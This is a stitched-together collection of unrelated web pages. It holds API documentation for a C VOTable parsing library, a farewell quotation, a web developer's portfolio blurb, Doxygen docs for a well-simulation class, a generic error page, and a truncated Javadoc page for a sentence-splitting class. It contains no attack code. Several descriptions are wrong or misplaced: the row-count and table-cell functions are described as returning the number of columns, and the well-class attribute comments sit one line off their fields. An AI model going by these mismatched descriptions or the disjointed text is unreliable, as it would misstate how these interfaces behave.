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Defines | |
| #define | NUM_ELEMENTS 25 |
| #define | TY_ROOT 000000000 |
| #define | TY_VOTABLE 000000001 |
| #define | TY_RESOURCE 000000002 |
| #define | TY_FIELD 000000004 |
| #define | TY_PARAM 000000010 |
| #define | TY_INFO 000000020 |
| #define | TY_TR 000000040 |
| #define | TY_TD 000000100 |
| #define | TY_TABLE 000000200 |
| #define | TY_STREAM 000000400 |
| #define | TY_FITS 000001000 |
| #define | TY_GROUP 000002000 |
| #define | TY_FIELDREF 000004000 |
| #define | TY_PARAMREF 000010000 |
| #define | TY_MIN 000020000 |
| #define | TY_MAX 000040000 |
| #define | TY_OPTION 000100000 |
| #define | TY_VALUES 000200000 |
| #define | TY_LINK 000400000 |
| #define | TY_DATA 001000000 |
| #define | TY_DESCRIPTION 002000000 |
| #define | TY_TABLEDATA 004000000 |
| #define | TY_BINARY 010000000 |
| #define | TY_BINARY2 020000000 |
| #define | TY_COOSYS 100000000 |
| #define | TY_DEFINITIONS 200000000 |
| #define | OK 0 |
| #define | ERR 1 |
| #define | TRUE 1 |
| #define | FALSE 0 |
| #define | handle_t int |
Functions | |
| handle_t | vot_openVOTABLE (char *arg) |
| Parse a VOTable and return a handle to it. | |
| void | vot_closeVOTABLE (handle_t vot) |
| Destroy the root node and all of it's children. | |
| handle_t | vot_getRESOURCE (handle_t handle) |
| Gets the RESOURCE node from the parent handle. | |
| handle_t | vot_getTABLE (handle_t handle) |
| Gets the TABLE node from the parent handle. | |
| handle_t | vot_getFIELD (handle_t handle) |
| Gets the FIELD node from the parent handle. | |
| handle_t | vot_getDATA (handle_t handle) |
| Gets the DATA node from the parent handle. | |
| handle_t | vot_getTABLEDATA (handle_t handle) |
| Gets the TABLEDATA node from the parent handle. | |
| handle_t | vot_getTR (handle_t handle) |
| Gets the TR node from the parent handle. | |
| handle_t | vot_getTD (handle_t handle) |
| Gets the TD node from the parent handle. | |
| handle_t | vot_getBINARY (handle_t handle) |
| Gets the BINARY node from the parent handle. | |
| handle_t | vot_getBINARY2 (handle_t handle) |
| Gets the BINARY2 node from the parent handle. | |
| handle_t | vot_getFITS (handle_t handle) |
| Gets the FITS node from the parent handle. | |
| handle_t | vot_getGROUP (handle_t handle) |
| Gets the GROUP node from the parent handle. | |
| handle_t | vot_getFIELDRef (handle_t handle) |
| Gets the FIELDref node from the parent handle. | |
| handle_t | vot_getPARAMRef (handle_t handle) |
| Gets the PARAMRef node from the parent handle. | |
| handle_t | vot_getDESCRIPTION (handle_t handle) |
| Gets the DESCRIPTION node from the parent handle. | |
| handle_t | vot_getPARAM (handle_t handle) |
| Gets the PARAM node from the parent handle. | |
| handle_t | vot_getINFO (handle_t handle) |
| Gets the INFO node from the parent handle. | |
| handle_t | vot_getSTREAM (handle_t handle) |
| Gets the STREAM node from the parent handle. | |
| handle_t | vot_getVALUES (handle_t handle) |
| Gets the VALUES node from the parent handle. | |
| handle_t | vot_getMIN (handle_t handle) |
| Gets the MIN node from the parent handle. | |
| handle_t | vot_getMAX (handle_t handle) |
| Gets the MAX node from the parent handle. | |
| handle_t | vot_getOPTION (handle_t handle) |
| Gets the OPTION node from the parent handle. | |
| handle_t | vot_getLINK (handle_t handle) |
| Gets the LINK node from the parent handle. | |
| handle_t | vot_getCOOSYS (handle_t handle) |
| Gets the COOSYS node from the parent handle. | |
| handle_t | vot_newRESOURCE (handle_t parent_h) |
| Create new RESOURCE node under the parent handle. | |
| handle_t | vot_newTABLE (handle_t parent_h) |
| Create new TABLE node under the parent handle. | |
| handle_t | vot_newFIELD (handle_t parent_h) |
| Create new FIELD node under the parent handle. | |
| handle_t | vot_newDATA (handle_t parent_h) |
| Create new DATA node under the parent handle. | |
| handle_t | vot_newTABLEDATA (handle_t parent_h) |
| Create new TABLEDATA node under the parent handle. | |
| handle_t | vot_newTR (handle_t parent_h) |
| Create new TR node under the parent handle. | |
| handle_t | vot_newTD (handle_t parent_h) |
| Create new TD node under the parent handle. | |
| handle_t | vot_newBINARY (handle_t parent_h) |
| Create new BINARY node under the parent handle. | |
| handle_t | vot_newBINARY2 (handle_t parent_h) |
| Create new BINARY2 node under the parent handle. | |
| handle_t | vot_newFITS (handle_t parent_h) |
| Create new FITS node under the parent handle. | |
| handle_t | vot_newGROUP (handle_t parent_h) |
| Create new GROUP node under the parent handle. | |
| handle_t | vot_newFIELDRef (handle_t parent_h) |
| Create new FIELDref node under the parent handle. | |
| handle_t | vot_newPARAMRef (handle_t parent_h) |
| Create new PARAMRef node under the parent handle. | |
| handle_t | vot_newDESCRIPTION (handle_t parent_h) |
| Create new DESCRIPTION node under the parent handle. | |
| handle_t | vot_newPARAM (handle_t parent_h) |
| Create new PARAM node under the parent handle. | |
| handle_t | vot_newINFO (handle_t parent_h) |
| Create new INFO node under the parent handle. | |
| handle_t | vot_newSTREAM (handle_t parent_h) |
| Create new STREAM node under the parent handle. | |
| handle_t | vot_newVALUES (handle_t parent_h) |
| Create new VALUES node under the parent handle. | |
| handle_t | vot_newMIN (handle_t parent_h) |
| Create new MIN node under the parent handle. | |
| handle_t | vot_newMAX (handle_t parent_h) |
| Create new MAX node under the parent handle. | |
| handle_t | vot_newOPTION (handle_t parent_h) |
| Create new OPTION node under the parent handle. | |
| handle_t | vot_newLINK (handle_t parent_h) |
| Create new LINK node under the parent handle. | |
| handle_t | vot_newCOOSYS (handle_t parent_h) |
| Create new COOSYS node under the parent handle. | |
| int | vot_getDATAType (handle_t data_h) |
| Returns the type of the DATA element. | |
| char * | vot_getDATATypeString (handle_t data_h) |
| Returns the type of the DATA element as a string. | |
| handle_t | vot_newNode (handle_t parent, int type) |
| Creates a new blank unlinked node. | |
| void | vot_freeNode (handle_t delete_me) |
| Destroys the node and all of it's children. | |
| void | vot_attachNode (handle_t parent, handle_t new) |
| Adds a node as a child of parent. | |
| void | vot_deleteNode (handle_t element) |
| Destroys the node and all of it's children. | |
| handle_t | vot_copyElement (handle_t src_h, handle_t parent_h) |
| Adds a node as a child of parent. | |
| int | vot_getNCols (handle_t tdata_h) |
| Return the nuber of columns in the table structure. | |
| int | vot_getNRows (handle_t tdata_h) |
| Return the nuber of columns in the table structure. | |
| char * | vot_getTableCell (handle_t tdata_h, int row, int col) |
| Return the nuber of columns in the structure. | |
| int | vot_sortTable (handle_t tdata_h, int col, int sort_strings, int order) |
| int | vot_getLength (handle_t elem_h) |
| Return the number of sibling Elements of the same type. | |
| int | vot_getNumberOf (handle_t elem_h, int type) |
| Return the number of sibling Elements of the type. | |
| int | vot_colByAttr (handle_t tab, char *attr, char *name, char *alt) |
| Get the column number (0-indexed) by named attribute. | |
| int | vot_colByName (handle_t tab, char *name, char *alt) |
| Get the column number (0-indexed) by 'name' attribute. | |
| int | vot_colByUCD (handle_t tab, char *name, char *alt) |
| Get the column number (0-indexed) by 'ucd' attribute. | |
| int | vot_colByID (handle_t tab, char *name, char *alt) |
| Get the column number (0-indexed) by 'id' attribute. | |
| handle_t | vot_findByAttr (handle_t parent, char *name, char *value) |
| Get a handle to an Element with the requested attribute. | |
| handle_t * | vot_findInGroup (handle_t group, int type) |
| Return a handle array of the requested Element type. | |
| handle_t | vot_getNext (handle_t elem_h) |
| Return a handle_t of the next Element of the same type. | |
| handle_t | vot_getSibling (handle_t elem_h) |
| Return a handle_t of the next Element. | |
| handle_t | vot_getChild (handle_t elem_h) |
| Return a handle_t of the child Element. | |
| handle_t | vot_getParent (handle_t elem_h) |
| Return the handle of the parent Element. | |
| handle_t | vot_getChildOfType (handle_t elem_h, int type) |
| Get the handle of the next Element of the same type. | |
| int | vot_valueOf (handle_t elem_h) |
| Return type of the Element. | |
| int | vot_typeOf (handle_t elem_h) |
| Return type of the Element. | |
| int | vot_handleCount () |
| Get the number of handle_t used (private method). | |
| int | vot_setValue (handle_t elem_h, char *value) |
| Set the Value for the ELEMENT. | |
| char * | vot_getValue (handle_t elem_h) |
| Get the Value for the ELEMENT. | |
| int | vot_setAttr (handle_t elem_h, char *attr, char *value) |
| Set the attribute for the Element. | |
| char * | vot_getAttr (handle_t elem_h, char *attr) |
| Return the attribute for the Element. | |
| void | vot_setWarnings (int value) |
| Set the warning level. | |
| void | votEmsg (char *msg) |
| void | vot_writeVOTable (handle_t node, char *fname, int indent) |
| Write the VOTable to the file descriptor. | |
| void | vot_writeHTML (handle_t node, char *ifname, char *ofname) |
| Write the VOTable to the file descriptor as HTML. | |
| void | vot_writeSHTML (handle_t node, char *ifname, char *ofname) |
| Write the VOTable to the file descriptor as an HTML table. | |
| void | vot_writeASV (handle_t node, char *fname, int hdr) |
| Write the VOTable to the file descriptor as a ASV file. | |
| void | vot_writeBSV (handle_t node, char *fname, int hdr) |
| Write the VOTable to the file descriptor as a BSV file. | |
| void | vot_writeCSV (handle_t node, char *fname, int hdr) |
| Write the VOTable to the file descriptor as a CSV file. | |
| void | vot_writeTSV (handle_t node, char *fname, int hdr) |
| Write the VOTable to the file descriptor as a TSV file. | |
| void | vot_writeFITS (handle_t node, char *fname) |
| Write the VOTable to the file descriptor as an FITS table. |
VOTPARSE.H -- Public procedure declarations for the VOTable interface.
| #define NUM_ELEMENTS 25 |
VOTable element types
| void vot_attachNode | ( | handle_t | parent, | |
| handle_t | new | |||
| ) |
| void vot_closeVOTABLE | ( | handle_t | vot | ) |
Destroy the root node and all of it's children.
vot_closeVOTABLE -- Destroy the root node and all of it's children.
| vot | A handle to the Element that you want deleted |
| int vot_colByAttr | ( | handle_t | tab, | |
| char * | attr, | |||
| char * | name, | |||
| char * | alt | |||
| ) |
Get the column number (0-indexed) by named attribute.
vot_colByAttr -- Get the column number (0-indexed) by named attribute.
| tab | A handle_t the parent | |
| attr | A string holding the attribute name | |
| name | A string holding the name attribute | |
| value | A string holding the alternate name attribute string |
| int vot_colByID | ( | handle_t | tab, | |
| char * | name, | |||
| char * | alt | |||
| ) |
Get the column number (0-indexed) by 'id' attribute.
vot_colByID -- Get the column number (0-indexed) by 'id' attribute.
| tab | A handle_t the parent | |
| name | A string holding the id attribute | |
| value | A string holding the alternate id attribute string |
| int vot_colByName | ( | handle_t | tab, | |
| char * | name, | |||
| char * | alt | |||
| ) |
Get the column number (0-indexed) by 'name' attribute.
vot_colByName -- Get the column number (0-indexed) by 'name' attribute.
| tab | A handle_t the parent | |
| name | A string holding the name attribute | |
| value | A string holding the alternate name attribute string |
| int vot_colByUCD | ( | handle_t | tab, | |
| char * | name, | |||
| char * | alt | |||
| ) |
Get the column number (0-indexed) by 'ucd' attribute.
vot_colByUCD -- Get the column number (0-indexed) by 'ucd' attribute.
| tab | A handle_t the parent | |
| name | A string holding the ucd attribute | |
| value | A string holding the alternate ucd attribute string |
| handle_t vot_copyElement | ( | handle_t | src_h, | |
| handle_t | parent_h | |||
| ) |
Adds a node as a child of parent.
vot_copyElement -- Adds a node as a child of parent.
| src_h | A handle to the Element to copy | |
| parent_h | A handle to the Elements parent |
| void vot_deleteNode | ( | handle_t | element | ) |
Destroys the node and all of it's children.
vot_deleteNode -- Destroys the node and all of it's children.
| element | A handle to the Element that you want deleted |
| handle_t vot_findByAttr | ( | handle_t | parent, | |
| char * | name, | |||
| char * | value | |||
| ) |
| handle_t* vot_findInGroup | ( | handle_t | group, | |
| int | type | |||
| ) |
| void vot_freeNode | ( | handle_t | node | ) |
Destroys the node and all of it's children.
vot_freeNode -- Destroys the node and all of it's children.
| node | A handle to the Element that you want deleted |
| char* vot_getAttr | ( | handle_t | elem_h, | |
| char * | attr | |||
| ) |
| handle_t vot_getBINARY | ( | handle_t | handle | ) |
Gets the BINARY node from the parent handle.
vot_getBINARY -- Gets the BINARY node from the parent handle
| handle | Parent handle containing a BINARY |
| handle_t vot_getBINARY2 | ( | handle_t | handle | ) |
Gets the BINARY2 node from the parent handle.
vot_getBINARY2 -- Gets the BINARY2 node from the parent handle
| handle | Parent handle containing a BINARY2 |
| handle_t vot_getChild | ( | handle_t | elem_h | ) |
| handle_t vot_getChildOfType | ( | handle_t | elem_h, | |
| int | type | |||
| ) |
| handle_t vot_getCOOSYS | ( | handle_t | handle | ) |
Gets the COOSYS node from the parent handle.
vot_getCOOSYS -- Gets the COOSYS node from the parent handle
| handle | Parent handle containing a COOSYS |
| handle_t vot_getDATA | ( | handle_t | handle | ) |
Gets the DATA node from the parent handle.
vot_getDATA -- Gets the DATA node from the parent handle
| handle | Parent handle containing a DATA |
| int vot_getDATAType | ( | handle_t | data_h | ) |
Returns the type of the DATA element.
vot_getDATAType -- Returns the type of the DATA element.
| data_h | A handle_t to a DATA |
| char* vot_getDATATypeString | ( | handle_t | data_h | ) |
Returns the type of the DATA element as a string.
vot_getDATATypeString -- Returns the type of the DATA element as a string.
| data_h | A handle_t to a DATA |
| handle_t vot_getDESCRIPTION | ( | handle_t | handle | ) |
Gets the DESCRIPTION node from the parent handle.
vot_getDESCRIPTION -- Gets the DESCRIPTION node from the parent handle
| handle | Parent handle containing a DESCRIPTION |
| handle_t vot_getFIELD | ( | handle_t | handle | ) |
Gets the FIELD node from the parent handle.
vot_getFIELD -- Gets the FIELD node from the parent handle
| handle | Parent handle containing a FIELD |
| handle_t vot_getFIELDRef | ( | handle_t | handle | ) |
Gets the FIELDref node from the parent handle.
vot_getFIELDref -- Gets the FIELDref node from the parent handle
| handle | Parent handle containing a FIELDref |
| handle_t vot_getFITS | ( | handle_t | handle | ) |
Gets the FITS node from the parent handle.
vot_getFITS -- Gets the FITS node from the parent handle
| handle | Parent handle containing a FITS |
| handle_t vot_getGROUP | ( | handle_t | handle | ) |
Gets the GROUP node from the parent handle.
vot_getGROUP -- Gets the GROUP node from the parent handle
| handle | Parent handle containing a GROUP |
| handle_t vot_getINFO | ( | handle_t | handle | ) |
Gets the INFO node from the parent handle.
vot_getINFO -- Gets the INFO node from the parent handle
| handle | Parent handle containing a INFO |
| int vot_getLength | ( | handle_t | elem_h | ) |
Return the number of sibling Elements of the same type.
vot_getLength -- Return the number of sibling Elements of the same type.
| elem_h | A handle_t the Element |
| handle_t vot_getLINK | ( | handle_t | handle | ) |
Gets the LINK node from the parent handle.
vot_getLINK -- Gets the LINK node from the parent handle
| handle | Parent handle containing a LINK |
| handle_t vot_getMAX | ( | handle_t | handle | ) |
Gets the MAX node from the parent handle.
vot_getMAX -- Gets the MAX node from the parent handle
| handle | Parent handle containing a MAX |
| handle_t vot_getMIN | ( | handle_t | handle | ) |
Gets the MIN node from the parent handle.
vot_getMIN -- Gets the MIN node from the parent handle
| handle | Parent handle containing a MIN |
| int vot_getNCols | ( | handle_t | tdata_h | ) |
Return the nuber of columns in the table structure.
************************************************************************** Utility methods vot_getNCols -- Return the nuber of columns in the table structure.
| tdata_h | A handle_t to a TABLEDATA |
| handle_t vot_getNext | ( | handle_t | elem_h | ) |
| int vot_getNRows | ( | handle_t | tdata_h | ) |
Return the nuber of columns in the table structure.
vot_getNRows -- Return the nuber of columns in the table structure.
| tdata_h | A handle_t to a TABLEDATA |
| int vot_getNumberOf | ( | handle_t | elem_h, | |
| int | type | |||
| ) |
Return the number of sibling Elements of the type.
vot_getNumberOf -- Return the number of sibling Elements of the type.
| elem_h | A handle_t the Element | |
| type | An int of the type of element you wish to count |
| handle_t vot_getOPTION | ( | handle_t | handle | ) |
Gets the OPTION node from the parent handle.
vot_getOPTION -- Gets the OPTION node from the parent handle
| handle | Parent handle containing a OPTION |
| handle_t vot_getPARAM | ( | handle_t | handle | ) |
Gets the PARAM node from the parent handle.
vot_getPARAM -- Gets the PARAM node from the parent handle
| handle | Parent handle containing a PARAM |
| handle_t vot_getPARAMRef | ( | handle_t | handle | ) |
Gets the PARAMRef node from the parent handle.
vot_getPARAMRef -- Gets the PARAMref node from the parent handle
| handle | Parent handle containing a PARAMRef |
| handle_t vot_getParent | ( | handle_t | elem_h | ) |
| handle_t vot_getRESOURCE | ( | handle_t | handle | ) |
Gets the RESOURCE node from the parent handle.
vot_getRESOURCE -- Gets the RESOURCE node from the parent handle
| handle | Parent handle containing a RESOURCE |
| handle_t vot_getSibling | ( | handle_t | elem_h | ) |
| handle_t vot_getSTREAM | ( | handle_t | handle | ) |
Gets the STREAM node from the parent handle.
vot_getSTREAM -- Gets the STREAM node from the parent handle
| handle | Parent handle containing a STREAM |
| handle_t vot_getTABLE | ( | handle_t | handle | ) |
Gets the TABLE node from the parent handle.
vot_getTABLE -- Gets the TABLE node from the parent handle
| handle | Parent handle containing a TABLE |
| char* vot_getTableCell | ( | handle_t | tdata_h, | |
| int | row, | |||
| int | col | |||
| ) |
Return the nuber of columns in the structure.
vot_getTableCell -- Return the nuber of columns in the structure.
| tdata_h | A handle_t to a TABLEDATA | |
| row | An int for a row | |
| col | An int for a col |
| handle_t vot_getTABLEDATA | ( | handle_t | handle | ) |
Gets the TABLEDATA node from the parent handle.
vot_getTABLEDATA -- Gets the TABLEDATA node from the parent handle
| handle | Parent handle containing a TABLEDATA |
| handle_t vot_getTD | ( | handle_t | handle | ) |
Gets the TD node from the parent handle.
vot_getTD -- Gets the TD node from the parent handle
| handle | Parent handle containing a TD |
| handle_t vot_getTR | ( | handle_t | handle | ) |
Gets the TR node from the parent handle.
vot_getTR -- Gets the TR node from the parent handle
| handle | Parent handle containing a TR |
| char* vot_getValue | ( | handle_t | elem_h | ) |
Get the Value for the ELEMENT.
vot_getValue -- Get the Value for the ELEMENT.
| elem_h | A handle_t the ELEMENT |
| handle_t vot_getVALUES | ( | handle_t | handle | ) |
Gets the VALUES node from the parent handle.
vot_getVALUES -- Gets the VALUES node from the parent handle
| handle | Parent handle containing a VALUES |
| int vot_handleCount | ( | ) |
Get the number of handle_t used (private method).
count of current used handles vot_handleCount -- Get the number of handle_t used (private method)
| handle_t vot_newBINARY | ( | handle_t | parent_h | ) |
Create new BINARY node under the parent handle.
vot_newBINARY -- Create new BINARY node under the parent handle
| parent_h | Parent handle of a BINARY |
| handle_t vot_newBINARY2 | ( | handle_t | parent_h | ) |
Create new BINARY2 node under the parent handle.
vot_newBINARY2 -- Create new BINARY2 node under the parent handle
| parent_h | Parent handle of a BINARY2 |
| handle_t vot_newCOOSYS | ( | handle_t | parent_h | ) |
Create new COOSYS node under the parent handle.
vot_newCOOSYS -- Create new COOSYS node under the parent handle
| parent_h | Parent handle of a COOSYS |
| handle_t vot_newDATA | ( | handle_t | parent_h | ) |
Create new DATA node under the parent handle.
vot_newDATA -- Create new DATA node under the parent handle
| parent_h | Parent handle of a DATA |
| handle_t vot_newDESCRIPTION | ( | handle_t | parent_h | ) |
Create new DESCRIPTION node under the parent handle.
vot_newDESCRIPTION -- Create new DESCRIPTION node under the parent handle
| parent_h | Parent handle of a DESCRIPTION |
| handle_t vot_newFIELD | ( | handle_t | parent_h | ) |
Create new FIELD node under the parent handle.
vot_newFIELD -- Create new FIELD node under the parent handle
| parent_h | Parent handle of a FIELD |
| handle_t vot_newFIELDRef | ( | handle_t | parent_h | ) |
Create new FIELDref node under the parent handle.
vot_newFIELDref -- Create new FIELDref node under the parent handle
| parent_h | Parent handle of a FIELDref |
| handle_t vot_newFITS | ( | handle_t | parent_h | ) |
Create new FITS node under the parent handle.
vot_newFITS -- Create new FITS node under the parent handle
| parent_h | Parent handle of a FITS |
| handle_t vot_newGROUP | ( | handle_t | parent_h | ) |
Create new GROUP node under the parent handle.
vot_newGROUP -- Create new GROUP node under the parent handle
| parent_h | Parent handle of a GROUP |
| handle_t vot_newINFO | ( | handle_t | parent_h | ) |
Create new INFO node under the parent handle.
vot_newINFO -- Create new INFO node under the parent handle
| parent_h | Parent handle of a INFO |
| handle_t vot_newLINK | ( | handle_t | parent_h | ) |
Create new LINK node under the parent handle.
vot_newLINK -- Create new LINK node under the parent handle
| parent_h | Parent handle of a LINK |
| handle_t vot_newMAX | ( | handle_t | parent_h | ) |
Create new MAX node under the parent handle.
vot_newMAX -- Create new MAX node under the parent handle
| parent_h | Parent handle of a MAX |
| handle_t vot_newMIN | ( | handle_t | parent_h | ) |
Create new MIN node under the parent handle.
vot_newMIN -- Create new MIN node under the parent handle
| parent_h | Parent handle of a MIN |
| handle_t vot_newNode | ( | handle_t | parent, | |
| int | type | |||
| ) |
Creates a new blank unlinked node.
vot_newNode -- Creates a new blank unlinked node.
| parent | A handle to the Element that you want to add a node to | |
| type | The type of node you wish to create |
| handle_t vot_newOPTION | ( | handle_t | parent_h | ) |
Create new OPTION node under the parent handle.
vot_newOPTION -- Create new OPTION node under the parent handle
| parent_h | Parent handle of a OPTION |
| handle_t vot_newPARAM | ( | handle_t | parent_h | ) |
Create new PARAM node under the parent handle.
vot_newPARAM -- Create new PARAM node under the parent handle
| parent_h | Parent handle of a PARAM |
| handle_t vot_newPARAMRef | ( | handle_t | parent_h | ) |
Create new PARAMRef node under the parent handle.
vot_newPARAMRef -- Create new PARAMref node under the parent handle
| parent_h | Parent handle of a PARAMRef |
| handle_t vot_newRESOURCE | ( | handle_t | parent_h | ) |
Create new RESOURCE node under the parent handle.
vot_newRESOURCE -- Create new RESOURCE node under the parent handle
| parent_h | Parent handle of a RESOURCE |
| handle_t vot_newSTREAM | ( | handle_t | parent_h | ) |
Create new STREAM node under the parent handle.
vot_newSTREAM -- Create new STREAM node under the parent handle
| parent_h | Parent handle of a STREAM |
| handle_t vot_newTABLE | ( | handle_t | parent_h | ) |
Create new TABLE node under the parent handle.
vot_newTABLE -- Create new TABLE node under the parent handle
| parent_h | Parent handle of a TABLE |
| handle_t vot_newTABLEDATA | ( | handle_t | parent_h | ) |
Create new TABLEDATA node under the parent handle.
vot_newTABLEDATA -- Create new TABLEDATA node under the parent handle
| parent_h | Parent handle of a TABLEDATA |
| handle_t vot_newTD | ( | handle_t | parent_h | ) |
Create new TD node under the parent handle.
vot_newTD -- Create new TD node under the parent handle
| parent_h | Parent handle of a TD |
| handle_t vot_newTR | ( | handle_t | parent_h | ) |
Create new TR node under the parent handle.
vot_newTR -- Create new TR node under the parent handle
| parent_h | Parent handle of a TR |
| handle_t vot_newVALUES | ( | handle_t | parent_h | ) |
Create new VALUES node under the parent handle.
vot_newVALUES -- Create new VALUES node under the parent handle
| parent_h | Parent handle of a VALUES |
| handle_t vot_openVOTABLE | ( | char * | arg | ) |
Parse a VOTable and return a handle to it.
************************************************************************* Public LIBVOTABLE interface.
vot_openVOTABLE -- Parse a VOTable and return a handle to it
| arg | The source of the table |
| int vot_setAttr | ( | handle_t | elem_h, | |
| char * | attr, | |||
| char * | value | |||
| ) |
| int vot_setValue | ( | handle_t | elem_h, | |
| char * | value | |||
| ) |
Set the Value for the ELEMENT.
vot_setValue -- Set the Value for the ELEMENT.
| elem_h | A handle_t the ELEMENT | |
| value | A string holding the value |
| void vot_setWarnings | ( | int | value | ) |
Set the warning level.
vot_setWarnings -- Set the warning level.
| value | Warning level |
| int vot_typeOf | ( | handle_t | elem_h | ) |
| int vot_valueOf | ( | handle_t | elem_h | ) |
| void vot_writeASV | ( | handle_t | node, | |
| char * | fname, | |||
| int | header | |||
| ) |
Write the VOTable to the file descriptor as a ASV file.
vot_writeASV -- Write the VOTable to the file descriptor as a ASV file
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) | |
| header | Write output header? |
| void vot_writeBSV | ( | handle_t | node, | |
| char * | fname, | |||
| int | header | |||
| ) |
Write the VOTable to the file descriptor as a BSV file.
vot_writeBSV -- Write the VOTable to the file descriptor as a BSV file
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) | |
| header | Write output header? |
| void vot_writeCSV | ( | handle_t | node, | |
| char * | fname, | |||
| int | header | |||
| ) |
Write the VOTable to the file descriptor as a CSV file.
vot_writeCSV -- Write the VOTable to the file descriptor as a CSV file
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) | |
| header | Write output header? |
| void vot_writeFITS | ( | handle_t | node, | |
| char * | fname | |||
| ) |
Write the VOTable to the file descriptor as an FITS table.
vot_writeFITS -- Write the VOTable to the file descriptor as a FITS table.
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) |
| void vot_writeHTML | ( | handle_t | node, | |
| char * | ifname, | |||
| char * | ofname | |||
| ) |
Write the VOTable to the file descriptor as HTML.
vot_writeHTML -- Write the VOTable to the file descriptor as HTML.
| node | A handle to an Element that you to print | |
| ifname | Input filename | |
| ofname | Output filename (or "stdout" or "-" for STDOUT) |
| void vot_writeSHTML | ( | handle_t | node, | |
| char * | ifname, | |||
| char * | ofname | |||
| ) |
Write the VOTable to the file descriptor as an HTML table.
vot_writeSHTML -- Write the VOTable to the file descriptor as an HTML table.
| node | A handle to an Element that you to print | |
| ifname | Input filename | |
| ofname | Output filename (or "stdout" or "-" for STDOUT) |
| void vot_writeTSV | ( | handle_t | node, | |
| char * | fname, | |||
| int | header | |||
| ) |
Write the VOTable to the file descriptor as a TSV file.
vot_writeTSV -- Write the VOTable to the file descriptor as a TSV file
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) | |
| header | Write output header? |
| void vot_writeVOTable | ( | handle_t | node, | |
| char * | fname, | |||
| int | indent | |||
| ) |
Write the VOTable to the file descriptor.
vot_writeVOTable -- Write the VOTable to the file descriptor.
| node | A handle to an Element that you to print | |
| fname | Output filename (or "stdout" or "-" for STDOUT) | |
| indent | Number of spaces to indent at each level |
| void votEmsg | ( | char * | msg | ) |
votEmsg -- Error message print utility.


"A farewell is necessary before we can meet again, and meeting again after moments or a lifetime is certain for those who are friends."
It's the time to say farewell to good people, to wish them long life and say to them in all sincerity, "You build and do not destroy; you sow goodwill and reap it; smiles bloom in the wake of your passing, and I will keep your kindness in trust and share it as occasion arises.”


Web Developer
Graduated in Computer Engineering in the Polytechnic School of the University of Extremadura (Spain). Frontend web developer with two years of front-end programming experience (Developing the web application for ING bank). In the two companies where I have worked I have brought teamwork and determination to provide solutions.
Specialized in web development and native developer using React Native. My main skills are JavaScript and React.
I have always worked as a team, with a fluid relationship with the rest work areas.
View Resume
Resposive E-commerce application using React and Redux.
What would happen if react belonged to apple...
See it!
Coronavirus Country Data Finder and TodoList using Vanilla JavaScript. Stay up to date with the latest coronavirus by country. You also have a list of chores to plan your days at home. #StayAtHome
Responsive mobile and web app using using Hooks, React Router, Redux. Feel free to use it... and enjoy your burger!
+34 662170091
Mail me


|
darts-engines
|
Class for well definition (both segments and controls) More...
#include <block_well.h>
Public Member Functions | |
| void | set_nc (int nc_) |
Public Attributes | |
| std::vector< block_perf > | block_perf_list |
| std::vector< std::pair< int, well_control > > | control_list |
| well_control | current_control |
| a list of well controls and correspondent report timestep | |
| index_t | first_well_block_index |
| effective well control to be used in jacobian assembly | |
| index_t | ghost_well_block_index |
| index of the first well block, which connects to ghost well block | |
| index_t | NC |
| index of the first well block, which connects to ghost well block | |
| value_t | well_block_volume |
| value_t | well_block_trans |
| volume of well block | |
| value_t * | current_rates |
| transmissibility bewteen well blocks | |
| value_t | current_BHP |
| current molar rates taken as influx/outflux of ghost block for production/injection well respectively | |
| value_t | current_temp |
| current BHP for well | |
| well_control_iface * | control |
| current temperature for well | |
| well_control_iface * | constraint |
| set of controls | |
| std::string | name |
| set of constraints | |
Class for well definition (both segments and controls)


When you reach this page, please contact your system Administrator.
Try to go back or return to the homepage.
Good luck.


IN
- The type of the tokens in the sentencespublic class WordToSentenceProcessor<IN> extends java.lang.Object implements ListProcessor<IN,java.util.List<IN>>
The main behavior is to look for sentence ending tokens like "." or "?!?", and to split after them and any following sentence closers like ")". Overlaid on this is an overall choice of state: The WordToSentenceProcessor can be a non-splitter, which always returns one sentence. Otherwise, the WordToSentenceProcessor will also split based on paragraphs using one of these three states: (1) Ignore line breaks in splitting sentences, (2) Treat each line as a separate paragraph, or (3) Treat two consecutive line breaks as marking the end of a paragraph. The details of sentence breaking within paragraphs is controlled based on the following three variables:
<p>
' tag. If two of these follow each other, they are
coalesced: no empty Sentence is output. The end-of-file is not
represented in this Set, but the code behaves as if it were a member.
| Modifier and Type | Class and Description |
|---|---|
static class |
WordToSentenceProcessor.NewlineIsSentenceBreak |
| Modifier and Type | Field and Description |
|---|---|
static java.util.Set<java.lang.String> |
DEFAULT_BOUNDARY_FOLLOWERS |
static java.lang.String |
DEFAULT_BOUNDARY_REGEX |
static java.util.Set<java.lang.String> |
DEFAULT_SENTENCE_BOUNDARIES_TO_DISCARD |
| Constructor and Description |
|---|
WordToSentenceProcessor()
Create a
WordToSentenceProcessor using a sensible default
list of tokens for sentence ending for English/Latin writing systems. |
WordToSentenceProcessor(boolean isOneSentence)
Create a
WordToSentenceProcessor which never breaks the input
into multiple sentences. |
WordToSentenceProcessor(java.util.Set<java.lang.String> boundaryToDiscard)
Set the set of Strings that will mark the end of a sentence,
and which will be discarded after doing so.
|
WordToSentenceProcessor(java.lang.String boundaryTokenRegex,
java.util.Set<java.lang.String> boundaryFollowers,
java.util.Set<java.lang.String> boundariesToDiscard,
java.util.Set<java.lang.String> xmlBreakElementsToDiscard,
java.lang.String regionElementRegex,
WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak,
SequencePattern<? super IN> sentenceBoundaryMultiTokenPattern,
java.util.Set<java.lang.String> tokenRegexesToDiscard,
boolean isOneSentence,
boolean allowEmptySentences)
Flexibly set parameters for converting a list of tokens into sentences.
|
WordToSentenceProcessor(java.lang.String boundaryTokenRegex,
java.util.Set<java.lang.String> boundaryToDiscard,
java.util.Set<java.lang.String> xmlBreakElementsToDiscard,
WordToSentenceProcessor.NewlineIsSentenceBreak newlineIsSentenceBreak)
Flexibly set the set of acceptable sentence boundary tokens, but with
a default set of allowed boundary following tokens.
|
WordToSentenceProcessor(java.lang.String boundaryTokenRegex,
java.util.Set<java.lang.String> boundaryToDiscard,
